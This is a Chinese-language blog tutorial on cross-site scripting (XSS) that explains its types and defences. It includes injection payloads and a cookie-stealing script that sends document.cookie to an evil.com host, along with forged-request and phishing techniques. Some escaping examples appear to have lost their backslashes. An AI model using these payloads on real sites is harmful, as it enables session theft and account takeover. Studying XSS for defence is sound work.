Web安全之跨站指令碼攻擊(XSS)

laixiangran發表於2019-02-28

XSS 簡介

跨站指令碼攻擊,英文全稱是 Cross Site Script,本來縮寫是CSS,但是為了和層疊樣式表(Cascading Style Sheet,CSS)有所區別,所以在安全領域叫做“XSS”。

XSS 攻擊,通常指黑客利用網站沒有對使用者提交資料進行轉義處理或者過濾不足的缺點,從而通過“HTML注入”篡改了網頁,插入了惡意的指令碼,然後在使用者瀏覽網頁時,控制使用者瀏覽器(盜取使用者資料、利用使用者身份進行某種動作或者對訪問者進行病毒侵害)的一種攻擊方式。

XSS 危害

  1. 盜取各類使用者帳號,如機器登入帳號、使用者網銀帳號、各類管理員帳號

  2. 控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力

  3. 盜竊企業重要的具有商業價值的資料

  4. 非法轉賬

  5. 強制傳送電子郵件

  6. 網站掛馬

  7. 控制受害者機器向其它網站發起攻擊

XSS 分類

反射型 XSS

反射型 XSS 也叫做“非持久型XSS”(Non-per-sistent XSS),它是最常見的型別的 XSS。

反射型 XSS 只是簡單地把使用者輸入的資料“反射”給瀏覽器。也就是說,黑客往往需要誘使使用者“點選”一個惡意連結,才能攻擊成功。

簡單例子

假設一個頁面把使用者輸入的引數直接輸出到頁面上:

// test.php
<?php
    $input = $_GET["param"];
    echo "<div>".$input."</div>";
?>
複製程式碼
正常情況

使用者向 param 提交的資料會展示到頁面中,比如提交:

http://www.a.com/test.php?param=這是一個測試!
複製程式碼

這樣在頁面就會顯示 這是一個測試!

非正常情況

但是如果提交一段HTML程式碼:

http://www.a.com/test.php?param=<script>alert(/xss/)</script>
複製程式碼

此時頁面原始碼以及嵌入 <script>alert(/xss/)</script>,那麼 alert(/xss/) 將會在當前頁面執行,而這顯然不是開發者所希望看到的,對於黑客來說這樣就完成了一次攻擊了。

儲存型 XSS

儲存型 XSS 通常也叫做“持久型XSS”(Persistent XSS),因為從效果上來說,它存在的時間是比較長的。

儲存型 XSS 會把使用者輸入的資料“儲存”在伺服器端。這種 XSS 具有很強的穩定性。

簡單例子

假設在文章下面的評論區有這樣的一個評論表單提交程式碼:

<input type="text" name="content" value="這裡是使用者填寫的資料">
複製程式碼
正常情況

使用者提交正常的評論內容(如 “這是一篇好文章啊!”),然後該評論內容將儲存到資料庫中。等其他使用者檢視該文章時,從資料庫將評論內容取出並顯示。

非正常情況

黑客提交 <script>alert(/xss/)</script> 這樣的評論內容,然後該評論內容將儲存到資料庫中。等其他使用者檢視該文章時,從資料庫中取出並顯示,此時瀏覽器將執行這段攻擊程式碼。

DOM Based XSS

實際上,這種型別的 XSS 並非按照“資料是否儲存在伺服器端”來劃分,DOM Based XSS 從效果上來說也是反射型 XSS。單獨劃分出來,是因為 DOM Based XSS 的形成原因比較特別,發現它的安全專家專門提出了這種型別的 XSS。出於歷史原因,也就把它單獨作為一個分類了。

DOM Based XSS 通過修改頁面的 DOM 節點形成的 XSS。

簡單例子

<script>
    function test(){
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href=`"+str+"` >testLink</a>";
    }
</script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
複製程式碼
正常情況

點選“write”按鈕後,會在當前頁面插入一個超連結,其地址為文字框的內容。

非正常情況

在文字框輸入 ` onclick=alert(/xss/) //,這樣生成的超連結為 <a href=`` onlick=alert(/xss/)//` >testLink</a>,原理就是用一個單引號閉合掉href的第一個單引號,然後插入一個onclick事件,最後再用註釋符“//”註釋掉第二個單引號。這樣點選新生成的超連結,就會執行攻擊程式碼了。

還有另外一種攻擊方式,將 <a> 標籤閉合掉,然後插入一個新的 HTML 標籤,如下示例:

在文字框輸入 `><img src=# onerror=alert(/xss2/) /><`,這樣生成的超連結變為 <a href=``><img src=# onerror=alert(/xss2/) /><`` >testLink</a>,圖片載入失敗之後就會執行攻擊程式碼了。

XSS Payload

前文談到了 XSS 的幾種分類。接下來,就從攻擊的角度來體驗一下 XSS 的威力。

XSS 攻擊成功後,攻擊者能夠對使用者當前瀏覽的頁面植入惡意指令碼,通過惡意指令碼,控制使用者的瀏覽器。這些用以完成各種具體功能的惡意指令碼,被稱為“XSS Payload”。

XSS Payload 實際上就是 JavaScript 指令碼(還可以是 Flash 或其他富客戶端的指令碼),所以任何 JavaScript 指令碼能實現的功能,XSS Payload 都能做到。

通過 XSS Payload 可以實現如下攻擊:

Cookie 劫持

在當前的 Web 中,Cookie 一般是使用者登入的憑證,瀏覽器發起的所有請求都會自動帶上 Cookie。如果 Cookie 沒有繫結客戶端資訊,當攻擊者竊取了 Cookie 後,就可以不用密碼登入進使用者的賬戶。

攻擊程式碼:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
複製程式碼

這段程式碼在頁面中插入了一張看不見的圖片,同時把 document.cookie 物件作為引數傳送到遠端伺服器,這樣,就完成了一個簡單的竊取 Cookie 的 XSS Payload。

然後使用竊取到的 Cookie 通過自定義 Cookie 的方式訪問網站,達到登入目標使用者的賬戶的目的。

構造 GET 與 POST 請求

一個網站通過 HTTP 協議中的 GET 或 POST 請求即可完成所有操作,因此可通過讓瀏覽器對目標網站發起這兩種請求來達到攻擊的目的。

假設某個網站有這樣的一個刪除文章的請求:

http://www.test.com/blog/delete?id=156713012
複製程式碼

對於攻擊者來說,只需要知道文章的 id,就能夠通過這個請求刪除這篇文章了。

攻擊程式碼:

var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img);
複製程式碼

攻擊者只需要讓部落格的作者執行這段 JavaScript 程式碼(XSSPayload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過 XSS 誘使使用者執行 XSS Payload。

XSS 釣魚

如果通過構造 POST 請求(表單提交)進行攻擊時,在提交表單時要求使用者輸入驗證碼,那麼一般的 XSS Payload 都會失效;此外,在大多數“修改使用者密碼”的功能中,在提交新密碼前,都會要求使用者輸入“Old Password”。而這個“Old Password”,對於攻擊者來說,往往是不知道的。

對於驗證碼,XSS Payload 可以通過讀取頁面內容,將驗證碼的圖片 URL 傳送到遠端伺服器上來實施——黑客可以在遠端XSS後臺接收當前驗證碼,並將驗證碼的值返回給當前的 XSS Payload,從而繞過驗證碼。

修改密碼的問題稍微複雜點。為了竊取密碼,攻擊者可以將 XSS 與“釣魚”相結合。實現思路很簡單:利用 JavaScript 在當前頁面上“畫出”一個偽造的登入框,當使用者在登入框中輸入使用者名稱與密碼後,其密碼將被髮送至黑客的伺服器上。

識別使用者瀏覽器

  1. 讀取瀏覽器的 UserAgent 物件。

  2. 由於瀏覽器之間的實現存在差異——不同的瀏覽器會各自實現一些獨特的功能,而同一個瀏覽器的不同版本之間也可能會有細微差別。所以通過分辨這些瀏覽器之間的差異,就能準確地判斷出瀏覽器版本,而幾乎不會誤報。這種方法比讀取UserAgent要準確得多。

識別使用者安裝的軟體

知道了使用者使用的瀏覽器、作業系統後,進一步可以識別使用者安裝的軟體。

在IE中,可以通過判斷 ActiveX 控制元件的 classid 是否存在,來推測使用者是否安裝了該軟體。這種方法很早就被用於“掛馬攻擊”——黑客通過判斷使用者安裝的軟體,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。

攻擊程式碼:

try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
    // 異常了,不存在該控制元件
}
複製程式碼

這段程式碼檢測迅雷的一個控制元件(“XunLeiBHO.Thun-derIEHelper”)是否存在。如果使用者安裝了迅雷軟體,則預設也會安裝此控制元件。因此通過判斷此控制元件,即可推測使用者安裝了迅雷軟體的可能性。

CSS History Hack

我們再看看另外一個有趣的 XSS Payload——通過 CSS,來發現一個使用者曾經訪問過的網站。其原理是利用 style 的 visited 屬性——如果使用者曾經訪問過某個連結,那麼這個連結的顏色會變得與眾不同。

獲取使用者的真實 IP 地址

通過 XSS Payload 還有辦法獲取一些客戶端的本地IP地址。

很多時候,使用者電腦使用了代理伺服器,或者在區域網中隱藏在 NAT 後面。網站看到的客戶端IP地址,是內網的出口IP地址,而並非使用者電腦真實的本地IP地址。如何才能知道使用者的本地IP地址呢?

JavaScript 本身並沒有提供獲取本地IP地址的能力,有沒有其他辦法?一般來說,XSS 攻擊需要藉助第三方軟體來完成。比如,客戶端安裝了 Java 環境(JRE),那麼 XSS 就可以通過呼叫 Java Applet 的介面獲取客戶端的本地 IP 地址。

XSS 防禦

HttpOnly

瀏覽器禁止頁面的 JavaScript 訪問帶有 HttpOnly 屬性的 Cookie。因此 HttpOnly 可以對抗 XSS 後的 Cookie 劫持攻擊。

輸入檢查

常見的Web漏洞如 XSS、SQL Injection等,都要求攻擊者構造一些特殊字元,這些特殊字元可能是正常使用者不會用到的,所以輸入檢查就有存在的必要了。

輸入檢查,在很多時候也被用於格式檢查。例如,使用者在網站註冊時填寫的使用者名稱,會被要求只能為字母、數字的組合。比如“hello1234”是一個合法的使用者名稱,而“hello#$^”就是一個非法的使用者名稱。

又如註冊時填寫的電話、郵件、生日等資訊,都有一定的格式規範。比如手機號碼,應該是不長於16位的數字,且中國大陸地區的手機號碼可能是13x、15x開頭的,否則即為非法。

這些格式檢查,有點像一種“白名單”,也可以讓一些基於特殊字元的攻擊失效。

輸入檢查的邏輯,必須放在伺服器端程式碼中實現。如果只是在客戶端使用JavaScript進行輸入檢查,是很容易被攻擊者繞過的。目前Web開發的普遍做法,是同時在客戶端JavaScript中和伺服器端程式碼中實現相同的輸入檢查。客戶端JavaScript的輸入檢查,可以阻擋大部分誤操作的正常使用者,從而節約伺服器資源。

輸出檢查

既然“輸入檢查”存在這麼多問題,那麼“輸出檢查”又如何呢?

一般來說,除了富文字的輸出外,在變數輸出到 HTML 頁面時,可以使用編碼或轉義的方式來防禦 XSS 攻擊。

安全編碼函式

編碼分為很多種,針對 HTML 程式碼的編碼方式是 HtmlEn-code。

HtmlEncode 並非專用名詞,它只是一種函式實現。它的作用是將字元轉換成 HTMLEntities,對應的標準是 ISO-8859-1。

為了對抗 XSS,在 HtmlEncode 中要求至少轉換以下字元:

& --> &amp;

< --> &lt;

>--> &gt;

" --> &quot;

` --> &#x27;&emsp;&emsp; &apos; 不推薦

/ --> &#x2F; 包含反斜線是因為它可能會閉合一些 HTML entity

JavaScript 的編碼方式可以使用 JavascriptEncode。JavascriptEncode 與 HtmlEncode 的編碼方法不同,它需要使用“”對特殊字元進行轉義。在對抗 XSS 時,還要求輸出的變數必須在引號內部,以避免造成安全問題。比較下面兩種寫法:

var x = escapeJavascript($evil);
var y = `"`+escapeJavascript($evil)+`"`;
複製程式碼

如果 escapeJavascript() 函式只轉義了幾個危險字元,比如 ‘、”、<、>、、&、# 等,那麼上面的兩行程式碼輸出後可能會變成:

var x = 1;alert(2); // 執行了額外的程式碼
var y = "1;alert(2)"; // 安全
複製程式碼

所以要求使用 JavascriptEncode 的變數輸出一定要在引號內。

可是很多開發者沒有這個習慣怎麼辦?這就只能使用一個更加嚴格的 JavascriptEncode 函式來保證安全——除了數字、字母外的所有字元,都使用十六進位制“xHH”的方式進行編碼。在本例中:

var x = 1;alert(2); 變為 var x = 1x3balertx282x29; // 保證是安全的
複製程式碼

參考

《白帽子講Web安全》


轉載請註明出處,謝謝!

Web安全之跨站指令碼攻擊(XSS)

相關文章